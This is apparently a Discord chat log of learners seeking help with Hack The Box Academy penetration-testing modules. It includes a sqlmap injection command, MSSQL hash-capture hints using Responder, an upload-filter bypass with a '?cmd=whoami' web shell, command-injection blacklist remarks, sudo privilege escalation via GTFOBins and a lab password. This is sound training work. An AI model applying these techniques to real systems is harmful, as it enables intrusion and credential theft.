modules

[carmine hill]

Probably, Linux and Windows Fundamentals plus Web Requests

[vital zephyr]

simply the rsa id file was damaged, I redid it and i have completed the form

yuuuuhuuuuuu

big satisfaction

[tacit grove]

follow Pentester/Bug Bounty Hunter/SOC Analyst path based on ur interest?

[golden compass]

Hello, im stuck in the ATTACKING COMMON APPLICATIONS module at the Attacking GitLab content, at the question Find another valid user on the target GitLab instance. I tried the bash script and the python script , i found several users , no one match with the question .. i tried all the wordlist from seclist/username, im pretty lost if someone could help me thank !

[brittle prawn]

Yeah I started the linux fundementals but when it got to the point where some commands looked like this "grep -Po "https://www\website.com.*?(?='|")" I started to get confused how often would I use a command like that?

[tacit grove]

regex? yes you will use it often as a professional

[brittle prawn]

But as a beginner will I use it often are there any other outside resources that will help me undestand regex a bit better?

[tacit grove]

don't think about it too hard, use available resources like regexr.com
hell use chatgpt to suit your regex needs as beginner

[rustic sage]

hello! I'm on the service enumeration module with the question "One of the services contains a flag you have to submit as the answer". I found a flag htb{<flag>} when I used "nmap -A <ip> --packet-trace" but it rejected the flag. Is that the right format of the flag?

[brittle prawn]

Okay thank you for the information I really appreciate it

[golden compass]

Im exactly stuck here too

no wordlist match

[next bronze]

try cirt-default-usernames.txt

[golden compass]

thk i'm trying...

does not work

found root and 1 other invalid username..

Could the module be broken ?

[obtuse verge]

https://arth0s.medium.com/ligolo-ng-pivoting-reverse-shells-and-file-transfers-6bfb54593fa5 nice blog post!

[golden compass]

Ok its working

i dm you @brave panther

[torpid kite]

i did it in 2 minutes just now

[golden compass]

the problem was caps

[torpid kite]

ok great 🙂

[golden compass]

lost 1h on it, feel really dumb

[hallow kiln]

thanks, get on the ligolo train if you haven't yet, it's the best!

[torpid kite]

You just have that every now and then. But just never give up!

[obtuse verge]

yeah, much better than the tools that academy shows

just tried today, such a good tool

[hallow kiln]

it's important to know all the options, but I haven't used anything but ligolo since lol

[next bronze]

you're famous

[hallow kiln]

SEO is magic 😎

[elfin needle]

?

[rustic sage]

Does anyone know how to find the flag in the service enumeration module for nmap? I accidentally found the flags ahead but not this one

[sly kelp]

You won but at what cost ?

[rustic sage]

I still can't figure it out

[sly kelp]

what nmap command did you try for service enumeration

[rustic sage]

nmap -A <ip> --packet-trace and -sV for each port. I went into tdump to see each each packet and response when probing with nc too

[sly kelp]

check dm

[wanton jasper]

I got really annoyed having to check for file transfers one by one on the Active Subdomain Enumeration module so i make this quick little script to do it for me if anyone is interested in it or improving upon it.

#!/bin/bash

# Check if the correct number of arguments was provided
if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <nameserver> <domains_list_file>"
    exit 1
fi

# Assign the first argument to NAMESERVER and the second to DOMAINS_LIST
NAMESERVER=$1
DOMAINS_LIST=$2

# Check if the domains list file exists
if [ ! -f "$DOMAINS_LIST" ]; then
    echo "Error: File '$DOMAINS_LIST' not found."
    exit 1
fi

# Loop through each domain in the list and attempt a zone transfer.
while read -r domain; do
    echo "Attempting zone transfer for $domain on nameserver $NAMESERVER:"
    dig axfr @$NAMESERVER $domain
    echo
done < "$DOMAINS_LIST"

Delete if it is considered a sploiler

Would also like to know if there was already a tool I could have used lol

[gray merlin]

When logged in as local admin, how do you extract the password, or the hash (rc4 | aes128 | aes256 | des) from a user using only Rubeus? The goal is to use the results in an asktgt command.

[orchid pine]

byw the ||bash ||cmnd is not blackilisted

[undone narwhal]

You can also use -f flag with dig, it basically passes the file with subdomains

[gray merlin]

It looks like Brute-Force is the only way.

[wanton jasper]

Thanks, I knew there had to be a more simple way

[orchid pine]

anyone can help me to understand the differnce

[orchid pine]

it work normally

[undone narwhal]

in terminal? can you share the output?

[orchid pine]

u see

XD

[undone narwhal]

yeah but where is the $ here in the second command

[undone narwhal]

I'm sorry are you saying that my command works normally or your command?

[keen compass]

is someone available to talk in DM about note taking & reporting please ? I am a bit lost with the suggested way to do note taking. While I think I should use the provided "template" for note taking, I don't understand where I may store my currently "live stuff" (I mean what I am doing atm). I am used to just screenshot / copy paste my term log almost all the time I do a step forward and I don't understand in which part of the obsidian folder tree I should store this

[undone narwhal]

what is your question here?

[orchid pine]

normally it need to work

but loike u see its not working

[undone narwhal]

read the error carefully

[orchid pine]

is it oki to dm you

i was using the same cmnd just remocing the ||bash<<<|| thats all and like i said normally it excuted on my terminal

[undone narwhal]

sure

[craggy steppe]

Hello everyone,
I'm doing the password attack module and when i try to do the wirm first command i got an openssl segmentation fault and i'm unable to connect to the target...
Anyone knows how to fix this ?

[gray merlin]

Post a screenshot.

Not sure if you are running into the same thing, but I had to make changes to /etc/ssl/openssl.cnf

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1

[craggy steppe]

my bad not a segmentation fault..
but still openssl

[next bronze]

that user might not have psremote rights

[craggy steppe]

oh..

so i'm supposed to find another one ?

[next bronze]

which section is it?

[craggy steppe]

network services

[next bronze]

should be able to winrm with that user

try sudo apt install openssl

[craggy steppe]

yeah that's what i thought,
so the problem is from my parrot i guess
i tried reset the targer and i got the same error
i'm gonna try again tomorrow

[craggy steppe]

nothing

[next bronze]

that's strange, try reinstalling both?

[rustic sage]

hey i'm stuck on the Service Enumeration nmap module. The challenge is "Enumerate all ports and their services. One of the services contains the flag you have to submit as the answer.

I tried the following:
nmap -sV -p- -vv <ip>
nmap -A <ip>

• proceeded to review ALL THE TCPDUMP OF THIS (Found the flag of the next module)
• I tried nmap enumeration scripts for each protocol
• netcat -nc to probe the ports manually and see the response using tcpdump

[fathom pendant]

You'll need some patience, as the correct port takes a minute to give you the answer

[rustic sage]

[spring viper]

i remember this one lol

[fathom pendant]

Password attacks is worse for patience

[rustic sage]

I lost my patience with that so I came back to this challenge I couldn't solve

[fathom pendant]

It's really as simple as just waiting

You'll get 220 HTB{FLAG}

220 is the response code (which you'll leave out)

[rustic sage]

I see I see

[fathom pendant]

Idk what it looks like in tcpdump

Didn't do that portion

Also if you are, don't forget to specify the tun0 interface

[rustic sage]

yep yep I did it on tun0 :D

[fathom pendant]

Should be able to nc -nv ip port

Iirc

[rustic sage]

was about to get water and it popped up on my screen

ty a lot marcie

[rustic sage]

guys iam at the basic tools module I really dont know how this works

[fathom pendant]

Gonna need to be a bit more descriptive

[rustic sage]

yes I wanted to send an image but couldn't send it

[rustic sage]

see community help

[fathom pendant]

That's because your main htb account isn't linked

See: #welcome

[wild iron]

i wish i were good for those kind of situation 😦

[gray merlin]

The 8 hours listed for the Password Attacks module is really hurting my confidence. 🙂

[rustic sage]

i'm in this section: https://academy.hackthebox.com/module/136/section/1289

i found the extensions that are passing through the white list and the black list but they're not being saved properly

[fathom pendant]

Protip: ignore that number

[rustic sage]

some modules took me super fast to finish while most modules took me forever and way longer than the time they stated

[fathom pendant]

Try saving it as .jpg.php or something

[rustic sage]

😭

[fathom pendant]

And what happens when you do ?cmd=whoami

[hazy grotto]

Hey!

[rustic sage]

nothing happens

[heavy marsh]

Any hints on how to start the Attacking Common Services SQL lab?

I've authenticated with the user and password provided by the lab, and I am using mssqlclient.py from impacket.

The question is asking for "What is the password for the "mssqlsvc" user?"

I got into msdb with the command:

SELECT table_name FROM msdb.INFORMATION_SCHEMA.TABLES

Don't know where to go from here.

[next bronze]

USE <DB name> to use a DB, SELECT * FROM <DB Name>.INFORMATION_SCHEMA.TABLES to get tables in a DB, SELECT * from <table name> to get table contents

[severe cypress]

i dont know if i can ask this or not, I have following some writeups and on that writeups, it supposedly allowToDelegate, but when i am try it its always ReadGMSAPassword, i have followed the instruction exactly. do you know why? is it because i am onm different time(skew clock)? anyone can help what is my mistake?

[heavy marsh]

I've tried that for multiple databases in the module.

I've figured out the commands, but the main two databases are password protected

Or so it seems

[next bronze]

maybe then you should try another way of getting the password, try the other steps in the section

[next bronze]

look up how to sync kerberos clock

[heavy marsh]

I tried responder, it just hung on listening.

[next bronze]

because you need to make the target connect to it

[heavy marsh]

how?

I only have access to the IP given in the module

[next bronze]

the same section as wher they mentioned responder: Capture MSSQL Service Hash

[heavy marsh]

sudo impacket-smbserver share ./ -smb2support

is unresponsive

this didn't work

I got this:

[next bronze]

check the section I mentioned again, there are 2 procedures that you can use to force a connection to your responder

[fathom pendant]

Steal the hash

[heavy marsh]

Yeah, that didnt work.

[fathom pendant]

Then you didn't try hard enough

[next bronze]

there are 2 procedures

[fathom pendant]

^

[heavy marsh]

Responder didn't work either

It just gave a long output with no hash

[fathom pendant]

Are you sure the long output didn't contain a hash?

[heavy marsh]

I'm sure

[fathom pendant]

Take a long look at the output in responder. If it starts with mssqlsvc

That's the hash

[heavy marsh]

I don't see that

I think my starting point is wrong. Where do I start. I'm authenticated, then what?

[fathom pendant]

Fuck around

Literally try and look at all the methods you can do

[misty current]

Did you run responder on the right interface? Make sure to double check.

[fathom pendant]

I dont recall that question being difficult, I remember needing to do a bunch of nonsense at one point

But can't recall what lab

[next bronze]

capturing the hash is right

[heavy marsh]

I ran it on tun0

[fathom pendant]

Show output responder gave

[next bronze]

then what's the long output? responder showing the server status?

[fathom pendant]

So when you ran the xp_subdirs it gave nothing?

Bc that's just the launch for responder telling you it's running

Which you then launch the xp_subdir command against

[heavy marsh]

That one just hangs

[misty current]

Can you show the xp_subdir command that you're entering

[next bronze]

it's not hanging, it's listening for a connection, like I said, it can't capture hashes unless you force the target to connect to your listener

[heavy marsh]

So I start the impacket-smbserver first?

[next bronze]

yes, and either smbserver or responder will work

[heavy marsh]

So what is "share" and "./" ???

I thought SMB was the last module

I'm confused

[next bronze]

rtfm

[heavy marsh]

I thought this was an SQL share, not an SMB share

I guess I should clarify, SQL database, not SMB share

Now I am very confused

[fathom pendant]

...

[misty current]

You would need to work back on the basics, do some research on SMB Shares.
Having either listeners (responder/smbserver) running on the background and making the database authenticate to your listeners ip should completely work.

[fathom pendant]

Xp_subdirs allows you to read smb shares

That's LITERALLY what you're meant to do

[next bronze]

(the precedue is the other one in the section, idk if they've tried it...)

[fathom pendant]

It's literally in the section @next bronze talked about

They show it weirdly out of order but explain it in order

[heavy marsh]

So am I trying to use SMB or SQL?

[fathom pendant]

I swear to fuck

[heavy marsh]

Both?

[fathom pendant]

Responder creates a false smb server

That you call to from the sql query

Just looking at the examples is generally not gonna be enough

Because you need to read the context

It's actually explained

[heavy marsh]

so I am in the SQL server with mssqlclient.py

[fathom pendant]

Adm

[heavy marsh]

now I have to use SMB?

[fathom pendant]

Brother

READ

Just fucking READ THE CONTENT

[next bronze]

[misty current]

Too much🥄lol

[fathom pendant]

@next bronze was nice enough to screen grab the part that explains it

But holy fuck dude

[misty current]

Take your time and read everything, everything you need is in the module.

[fathom pendant]

Like I get it if this was about the impersonation thing because that was a pain in the ass

But this is the easiest method of attack

[heavy marsh]

What impersonation thing?

[fathom pendant]

Don't worry

[heavy marsh]

I got the creds from the lesson prompt

[fathom pendant]

Not important

It comes up in the skill assessment

Not in the section question

[heavy marsh]

Oh great, I can't wait

[fathom pendant]

Since you're failing so spectacularly on this

It's gonna be a struggle bus

[heavy marsh]

I'm not failing, I'm learning

[fathom pendant]

You're failing to read

[heavy marsh]

and you're helping, thank you

[next bronze]

you're using the stored procedure to make the SQL server access a file on, using \\<ip>\ means the target will try to access using SMB, that's how you can capture the hash

[fathom pendant]

Because it's literally explained in the section

Which @next bronze just copy/pasted

[next bronze]

also @ whoever deleted the sreengrab, am I not supposed to post screenshots of the modules?

[fathom pendant]

Probably a mod bc spoiler of paid content

[next bronze]

whoops my bad

[fathom pendant]

¯_(ツ)_/¯

He wasn't getting the point anyway

Like trying to drive a nail with a screw driver

It'll probably eventually work

[heavy marsh]

It's just so hard to piece all of this together, it would be nice if there was a walkthrough.

[fathom pendant]

Sir

Respectfully

Fucking read the part about stealing hashes

Actually fucking read it

Because this is not some sort of rocket science

Fuckin reason we have instructions on shampoo bottles

[next bronze]

the module itself is the walk though, you're supposed to use what you have learned to complete the exercise

[fathom pendant]

This 100% isn't one of those times you need to do outside research to figure it out

like if it was something that needed that extra bit of Uncle Google or Auntie GPT to understand then I get it, but no - it's right there

[heavy marsh]

Is there a way to do this in mysql even though it's MSSQL?

[ebon minnow]

i swear some of these questions are basic comprehension 🤣

[next bronze]

no, and I suggest you revisit the foundation modules like windows and linux fundamentals, if you're confused about this, you might not have a solid grasp of the operating systems, services and protocols

[slender shoal]

is sql covered in that?

[fathom pendant]

read it again but slowly

[next bronze]

no but like, MSsql and sql, different eco system

[fathom pendant]

literally all you gotta do is what it shows you to do

run Responder, use xp_dirtree or xp_subdirs

and THAT'S IT

[slender shoal]

yeah i got that, was just curious if sql was covered in those sections

i didnt do them

[candid lily]

https://www.exploit-db.com/exploits/46635 how to do this with sqlmap

i know i can just use this script but i wanted to try with sqlmap, but how much ever i try, sqlmap doesnt detect this sqli

[fathom pendant]

what module is this regarding?

[candid lily]

its from a machine but ig it relates with sqlmap module?

|| sqlmap -u "http://10.10.10.138/writeup/moduleinterface.php?mact=News,m1_,default,0&m1_idlist=a,b,1,5" --technique=T -p m1_idlist --dbms=mysql --prefix '))' --suffix '+--+' -v 3 --batch --tamper ./space2plus --no-escape --delay 2 --skip-urlencode --time-sec 10 --level 5 --risk 3|| is what i tried but it says false positive or unexploitable even though it is exploitable

i think sqlmap doesnt have capability to use select sleep() from query

[fathom pendant]

This is the modules channel

ask in #boxes

[cursive glacier]

ain't no way u jus said that bruh

gave me a good laugh, hope you figured it out though

[umbral fulcrum]

hey guys, in "Attacking Common Applications - Skills Assessment I" last Q :
"...contents of the flag.txt file on the Administrator desktop"

the type command nor the any other command works to get the content of the flag.txt
I can see the flag and its location but I can't see its content ...

any hints please ??

[fathom pendant]

if it's a windows host; have you tried type filename?

[umbral fulcrum]

yes, the tpye gives an empty page
and the dir show that directory again

[fathom pendant]

i mean dir doesn't read files

[umbral fulcrum]

what?

the dir command shows the directory and the type shows an empty page.
that Y I wrote that I can see the directory of the flag but I can't see it's content ....

[fathom pendant]

that's odd and you're on the right Administrator host yeah?

if you're rdp in, can you click it on the desktop?

[umbral fulcrum]

it's not rdp

it's the right administrator (since there is only 1 )

[umbral fulcrum]

ok I think I got it, I just need to find hardcode paths ...

[fathom pendant]

?

Like C:\Administrator\Desktop

[umbral fulcrum]

yes
of type I think...

[fathom pendant]

type can do relative path

If you're in the directory

[umbral fulcrum]

not sure I got it
which directory??

[next bronze]

what's the current directory when you tried to read the flag? not the flag directory, the direcotry you're at

[umbral fulcrum]

U mean write my current directory with the type command and then the path to the designated file right?

[pine dagger]

type c:\users\administrator\desktop

[umbral fulcrum]

yeah that doesn't wroked 4 me ...

[next bronze]

that's cause you can't type a directory...

[umbral fulcrum]

lol

[pine dagger]

ofc, ts the directory path that its in the command, I'm just pointing out the correct path

[manic wolf]

Having trouble with the "Enumerate the flagDB database and submit the flag as your answer" I have the || password of mssqlsvc, but I can't log in using neither mssqlclient from impacket nor sqsh||

[next bronze]

basically, if the file it's not in your current directory, use absolute path for situation like this

[manic wolf]

Am I supposed to use || IMPERSONATE|| or something?

[pine dagger]

And I'd try something different. Such as maybe a CVE for the web server.

[pine dagger]

No one can help if you don't provide the Module+Chapter

[analog dock]

Module and section

[manic wolf]

Attacking common services module, the Attacking SQL section

[pine dagger]

Question 2 I assume? If so, no. Just sqsh and look through the tables.

[umbral fulcrum]

sorry I don't understand

I think I did mentioned the full path to the flag directory ...

[manic wolf]

Unfortunately sqsh tells me I don't have the right password

[pine dagger]

Password should be the answer from Q1

[manic wolf]

That's why I don't understand why it doesn't work

I guess I'll try restarting the machine

[pine dagger]

You should have stolen the hash and cracked it with hashcat

[manic wolf]

Yep

[next bronze]

what's your sqsh command?

[pine dagger]

oh, maybe you are passing the wrong username

Username should be ||.\\mssqlsvc||

[manic wolf]

|| sqsh -S IP -U mssqlsvc -P 'princess1' ||

[manic wolf]

Ohhhh

[next bronze]

it's absolute vs relative path, works the same in windows linux, look it up if you're haijv problem understanding

[next bronze]

the newer sqsh doesn't use that anymore

[pine dagger]

I did the module over a year ago. 😄

[manic wolf]

That worked though

[next bronze]

hm maybe you didn't update then

as long as it works

[pine dagger]

MSSQL login use that .\\ as a prefix so that it knows its referring to a local account, rather than an AD account. 🙂

[manic wolf]

No query is working atm, but at least I logged in

[umbral fulcrum]

the thing is that I solved this already but I don't remember having this issues with it before ...

[next bronze]

ah right

[pine dagger]

I got a shell on the box by exploiting a CVE, and did it that way

[umbral fulcrum]

someone ??

[next bronze]

huh? didn't we have already explained, if the file is not in your current directory, use absolute path

[umbral fulcrum]

can I DM?

[umbral fulcrum]

I did use absolute path ...

[olive cape]

Does any one else have trouble with the website clearly not allowing correct answers?

every time i enter the answer into the box, it just says sorry incorrect. though it is clearly a correct response. ive tried multiple ways of capitalization, and yet it wont accept it. but there is literally no other answer it can be. there are two issues, any one know how to resolve these problems?

[pine dagger]

No

There's a few instances where the syntax is finickity, but as a whole, the answers are right or wrong

Most common problems are where you paste an answer, and forget to remove some whitespace from the beginning or end

[olive cape]

pretty hard for something as simple as a hostname to be incorrect. ive been using linux for 20 years and decided to take some of the modules, but its not off to a good start. no variation typed or not typed will it let my answer correct

[pine dagger]

Which module/section/question?

[olive cape]

/module/18/section/70

[pine dagger]

None of those questions ask for the hostname

[olive cape]

spawned the machine. used uname,and all its individual flags still no avail. sorry meant hardware name

[pine dagger]

Try ||uname -m||

[olive cape]

seems to not want to go through its only x86_64 but just denies me lol

[pine dagger]

The hint literally tells you to use uname with an option and the question defines what the exact matching switch is needed. If that isn't working, then you've got a whitespace/keyboard issue, or you need to contact HTB support.

[silent oriole]

Hi Team, during skills assessment(shells&payloads) , connection from pwnbox to a foothold box keep dropping. And, connecting through vpn is extremely slow. Please suggest any recommendation.

[pine dagger]

Try pwnbox?

[olive cape]

alright ill contact them, ive used the uname commands and supplied it with pretty much everything it had in parts full, and all lol, seems to be an issue, its not the fisrt one ive had, could spans machines yesterday, now i can, no idea what that was about

figured out the issue :/ just read on a post, its a javascript thing, i enabled it through uBlock, some how or another it was disabled from loading. probably me accidently clicking that particular filter when i updated it last. but it had accepted the answer i just got a funky result. as when it reloaded, it updated as correct and i could not click it again, so theres that if any one else has that issue thats the problem in my case

[placid stream]

hey quick question: why would i turn off the dns resolution in a nmap scan? will the scan be quicker/stealthier? and is it on by default?

[cedar void]

When connecting to telnet service via smtp port 25 ...

when entering credentials, is this the format:

telnet ip_address 25

USER username

PASS password?

[shell tinsel]

hello i have a question regarding academy annual subscription, where should i ask it?

[acoustic owl]

SMTP uses different authentication.

[cedar void]

Thanks, I figured it out

[rich gale]

does **"Direct access to all modules up to (including) Tier II" **mean that I don't need to pay cubes for modules that are tier 2 or less? @me

[silent oriole]

From pwnbox it keeps dropping.

[acoustic owl]

Yes, they are included in the subscription

[rich gale]

thx

[pine dagger]

If its dropping on pwnbox as well as on the VPN, I'd restart everything

[elfin needle]

@pine dagger sent you a DM, hope its ok.

[silent oriole]

Okay Thanks.

[brittle prawn]

Hi I am doing the Linux fundamentals and for some reason I am getting this pop up

[tacit grove]

I think thats pkexec. starting service requires higher privilege
try sudo systemctl start ssh

[brittle prawn]

Nice it works thank you

[fallow depot]

Btw anyone here working as pentester/bug bounty hunter without studies/university? Is it even possible?

[next bronze]

did you figure it out?

[sly kelp]

I am but only freelance stuff

[umbral fulcrum]

not really I tried to move on
to the second assessment (got a bit trouble there as well)

the "enjoyable" part is that I did it already, I'm trying to make my some notes

in "Attacking Common Applications - Skills Assessment II"
when I try to use "gitlab_13_10_2_rce.py" I get:

[1] Authenticating
Successfully Authenticated
[2] Creating Payload
[3] Creating Snippet and Uploading
[-] Exploit failed

[next bronze]

dm if you need, though I've already explained all I can

what makes you think that it's vulnerable to the RCE?

[silver mural]

Guys, I'm having some difficulty on "Stuxbot - INTRODUCTION TO THREAT HUNTING & HUNTING", in finding what is the name of the "famous powershell hacking tool!" D: Can some one give an hint or some assistance?

"Some PowerShell code has been loaded into memory that scans/targets network shares. Leverage the available PowerShell logs to identify from which popular hacking tool this code derives. Answer format (one word): P____V___ "

found a lot of code in the field "powershell.file.script_block_text", and pasted some parts in a search engine, but could not find any correct powershell tool, only a whole lot of spare scripts...

[edgy token]

Hi guys how can i read flag 4 from linux hardening Linux priv esc module please?

[next bronze]

try to understand a little on what the tool does, then search according to its functions

[next bronze]

there's no flags in that section

[edgy token]

yes there are 5 flags

[next bronze]

what's the name of the section

[edgy token]

Linux Local priv esc

The last section

[next bronze]

skills assessment?

[edgy token]

Yes

[next bronze]

that's not hardning

[edgy token]

Yes sorry

[next bronze]

what have you tried?

[edgy token]

I found apache tomacat user and password

But i don't know how to read the flag

[latent glen]

Hello everyone, Im on the IPMI module in Footprinting and I am having trouble cracking the hash

[silver mural]

I'm so lost hahaha After so many days ... xD Reviewing the module did not seem to help!

guess I will bang the head some more...

probably the lack of PS knowledge.

[next bronze]

google how to access tomcat manager

[edgy token]

I did it

Iìm inside

I cannot read the flag lol

[latent glen]

anyone that could help me with that. So Its -m 7300 and the I have the hash from ipmi_dumphashes.
Now Ive tried basically eevery different format and hashcat just owont take it

[next bronze]

it's used in active directory post exploitation reconnaissance

[next bronze]

https://hashcat.net/wiki/doku.php?id=example_hashes

[umbral fulcrum]

UR right that was a stupid assumption I made

[latent glen]

its fine I got it

thanks

[silver mural]

Can't thank you enough ❤️

[edgy token]

I did it

I uploaded a malicious shell via tomcat

[next bronze]

good job

[misty current]

Obfuscate the flag. If you got it from blind-sql injection, then you'd need to run it again.

[sly dome]

run it again, missing some characters if its time based

also avoid spoilers 🙂

[distant moat]

Why can't I get the flag on kali machine?

it will go blank

I get it from my pwnbox

[sly dome]

i dont know

i got it from my parrot

[distant moat]

What is your sqlmap version?

[next bronze]

it should work, I did everything from kali

[sly dome]

latest

dev branch

[tough crystal]

Can somebody help me with Attacking Thick Client Application. Upon modyfying the bat fiile in the tmp, and running the bat file only oracle.txt is being created in ProgramData

[distant moat]

you mean reset the target and run it again?

[sly dome]

no.

[rustic sage]

Hi

Any one done cpts

[acoustic sparrow]

with the whole modules or the exam?

[rustic sage]

Modules

Exam I know There is 210$

[fathom pendant]

Plenty

Like about 4-5x more than have the cert have finished the path

[acoustic owl]

#cpts message

[fathom pendant]

Make sure no weird spaces

If you copy/paste

Should probably delete since spoiler

[tough kettle]

Hey guys I need help with the attacking common services skills assessments, can I dm anyone?

[sly dome]

@hallow kiln can i dm? AD module skill ass 1

[pastel lava]

im a little stuck on the web attacks skill assesment i managed to find the uid of the admin user so im trying to login as the admin via and idor but not sure how i intercept the request and change the uid but nothing changes any help if you need more detail i can provide it just trying to avoid spoilers

[red current]

I'm a bit stuck in the Windows Event Logging Basics section of Windows Event Logs. The second question asks to craft an XML query to determine if the previously mentioned executable modified the auditing settings of C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WPF\wpfgfx_v0400.dll. Enter the time of the identified event in the format HH:MM:SS as your answer. Is anyone available to assist with crafting this query? It's odd that such a question would be in this course so soon without any XML language modules prior to this.

[hallow kiln]

sure, go ahead

[pastel lava]

nvm got it

[tough kettle]

No one is giving any help

[acoustic owl]

Just ask your question here, then there is a good chance that you will get help

[acoustic sparrow]

yeh go and ask your question i will try help you

and which attacking common services are you talking about the first or the secound one ?

[opaque elm]

Hi, do you have this error on this module : Footprinting / Oracle TNS?

┌──(kali㉿kali)-[~/odat]
└─$ sudo apt install oracle-instantclient-basic oracle-instantclient-devel oracle-instantclient-sqlplus -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package oracle-instantclient-basic
E: Unable to locate package oracle-instantclient-devel
E: Unable to locate package oracle-instantclient-sqlplus

[delicate knot]

That looks like an apt issue itself. Have you tried sudo apt update?

[opaque elm]

Yes it works for this error:

404 Not Found [IP: XXXXXX 80]
Err:2 http://http.kali.org/kali kali-rolling/main arm64 debhelper all 13.11.6
404 Not Found [IP: XXXXXX 80]
Err:3 http://http.kali.org/kali kali-rolling/main arm64 python3-pip all 23.2.1+dfsg-1
404 Not Found [IP: XXXXXX 80]
Err:4 http://http.kali.org/kali kali-rolling/main arm64 python3-pip-whl all 23.2.1+dfsg-1

[opaque elm]

"Oracle TNS" gives me a lot of trouble

[red current]

Never mind. I figured it out ChatGPT is your friend!

[crystal steeple]

hello guuys im struggling wit the last privesc in getting started ---> knowledge check

i ran linpeas and found out some suid files i tried to look how to exploit thise files with gtfo but nothing works

[fossil crescent]

Anyone do the Intro to Whitebox Pentesting: Code Review - Services? Asks for full route for the endpoint linked to generateQR function -- maybe I'm completely misunderstanding the question, but not only trying what I thought the answer was (along with everything else I could come up with) has failed me. Please DM. Thx.

[fathom pendant]

Not necessary

If it's not something simple: it's wrong @crystal steeple

linpeas shows a lot of things

Doesn't mean they're all right

[crystal steeple]

hmmm

i will try again

[fathom pendant]

Did you try just doing sudo -l

[crystal steeple]

yes

i found tht php file

[fathom pendant]

That's all you need

[crystal steeple]

but i couldnt overwrite it

[fathom pendant]

You don't need to overwrite it

[crystal steeple]

wait

[fathom pendant]

It's an application

[crystal steeple]

my brain stopped working

when i ran that , i got a blank page which i can write anything there

[fathom pendant]

Check gtfobins

For php

[crystal steeple]

ye man im done

i did all that i tried idk if im doing things right

i checked for everything you said before i asked but nothing works 10000% im not using right commands in right places

and then i get that blank page

i followed commands in gtfo

and paste them there but nothing happened

[hallow kiln]

The command in gtfobins is pretty straightforward

[next bronze]

you can sudo with php right? follow the commands in the sudo section

[crystal steeple]

yeeep as i said i was pasting commands in a blank page

now its worked and got root lol

thanks guys !!

[worthy temple]

I dont understand from where to stand i'm familiar with CTFs but i see in the HTB there are so many paths, Where should i start?

Just From Machines?

I've done much of labs and CTFs not in HTB, On other platforms, But here i can see there are so many, Machines, Challenges, Sherlocks, Acandemy, What to chose lol?

Just start with active machine?

[next bronze]

do whatever that interests you, if you already have experience with ctf, the active boxes are indeed a good place to start

[worthy temple]

What about the Starting point?

I dont really get this

I'm in tier 2 in the "Starting Point" What comes after?

I can see on the left tab
Starting Point
Open Beta Season III
Machines
Challenges
Sherlocks
Tracks
Academy

So Seems like the most relevant here is the Machines section am i right? Just start from easy mode? What are the differences between ACTIVE MACHINES and RETIRED MACHINES? seems like the RETIRED MACHINES has much more LABS,

[spring viper]

retired machines have writeups and dont award points

active machines dont have writeups but do award points

[worthy temple]

What does points give me?

just "fame"?

[spring viper]

points like a video game hiscore

[next bronze]

pride and accomplishment

[worthy temple]

Ok, So how can I know that a retired machine is relevant (or irrelevant) because it's "retired"

I know everything is relevant... even log4j lol

[worthy temple]

So you suggest to skip the Starting Point and go right away to the Machines?

[next bronze]

what do you mean by relevant?

[worthy temple]

Not updated, too old

[next bronze]

if you find starting point easy then skip it

[spring viper]

you can order by release date

[worthy temple]

Starting point is untill Tier 2 am i right? (right now i'm on tier 2)

[spring viper]

but they are CTFs so they will have you doing things you (hopefully) shouldnt see all too often in the wild

[worthy temple]

shouldn't see all too often in the wild? what do you mean?

[spring viper]

like CTFs have customized scenarios that are meant to make you think more than on a regular assessment

[fathom pendant]

This isn't related to academy

[spring viper]

hack the box has many realistic boxes but also some are more just fun and interesting challenges

[fathom pendant]

There is a #starting-point chat

You need to verify/link your account following #welcome

[worthy temple]

So how can i determine what is more realistic and what is less?

[worthy temple]

Why

We can speak here for now

[fathom pendant]

This isn't the place for this conversation, this channel is for discussion about academy content

[next bronze]

them's the rules

[fathom pendant]

Not main platform

[worthy temple]

So lets finish our lil chat and after that i will verify myself

k?

[fathom pendant]

Realistic means you won't be guided to the next step

End of sentence

Yw

[worthy temple]

Oh yea seems like I have done shit like that before

somthing really easy took me entire day

of searching and wambling

[fathom pendant]

You get told "hey this is the goal, good luck" in main platform it's 2 flags, user and root

[worthy temple]

without any guidance

[fathom pendant]

For academy it's the skill assessment at the end of a module

Machines often have a combination of faults related to the academy modules in Academy X HTB page

But it's not like you'll have all the info just from doing the modules

[worthy temple]

Oh so there is a related machine CTFs after each academy module

[fathom pendant]

Just gives you a stronger base

[fathom pendant]

Not really ctfs just retired machines

[worthy temple]

I've already completed eJPTv2 so i think that i dont really need academy

[fathom pendant]

Unless you mean the skill assessment?

You'd be surprised

[next bronze]

wrong

[tiny yacht]

Yo ! I wanted to ask if um thinking corectly.
Footprinting Lab Easy, question: Enumerate the server carefully and find the flag.txt file. Submit the contents of this file as the answer.
Ports 21 and 2121 are open, they provided credentials for user name ceil.
Im trying to dwnl files using wget command, however it seems that its always failing due to connection time out.
Its just broken or using wget is not a solution ?

[wet kite]

machines take a lot more than 1 module from the academy. but you can check if content from the module is related to a machine

[hallow kiln]

eJPT is super basic compared to what's on Academy

[next bronze]

ejpt is nothing compared to the content in the academy

[fathom pendant]

Wget uses port 80

Web-get

[fathom pendant]

You need to access the ftp server you have a username, now get a password

[worthy temple]

So If i pay for "VIP" it's include the academy in?

[fathom pendant]

Vip is separate

[wet kite]

Academy is a seperate platform

[worthy temple]

Oh

[fathom pendant]

^

[fossil crescent]

But are you l337 enough to take on the ultimate hacking test... CEH? /s

[tiny yacht]

Well they are providing both username and password. But now im not sure if they are valid for SSH or both

[wet kite]

but you can have a few weeks of content in academy before reaching the point where you actually need to spend money. if you concentrate on Tier 0 modules

[fathom pendant]

...

You have a valid port for ftp

[fathom pendant]

Poke around on ftp

Specifically the alt port

[tiny yacht]

kk, thx

[fathom pendant]

Start with known info always

[worthy temple]

actually i'm 4 years developer and Computer Science+CYBER SECURITY graduate, But i've heard about CEH It's really advanced

[fathom pendant]

It's a meme

[worthy temple]

Oh

[wet kite]

why?

[worthy temple]

But CEH != eJPTv2?

I've been told it's almost the same lol

[next bronze]

ceh is just multple choice questions

[worthy temple]

Or compared to somthing else

[next bronze]

how can you learn pentesting from that

[worthy temple]

so what you can compare eJPTv2 to ?

[worthy temple]

[hallow kiln]

PJPT is a lot more practical

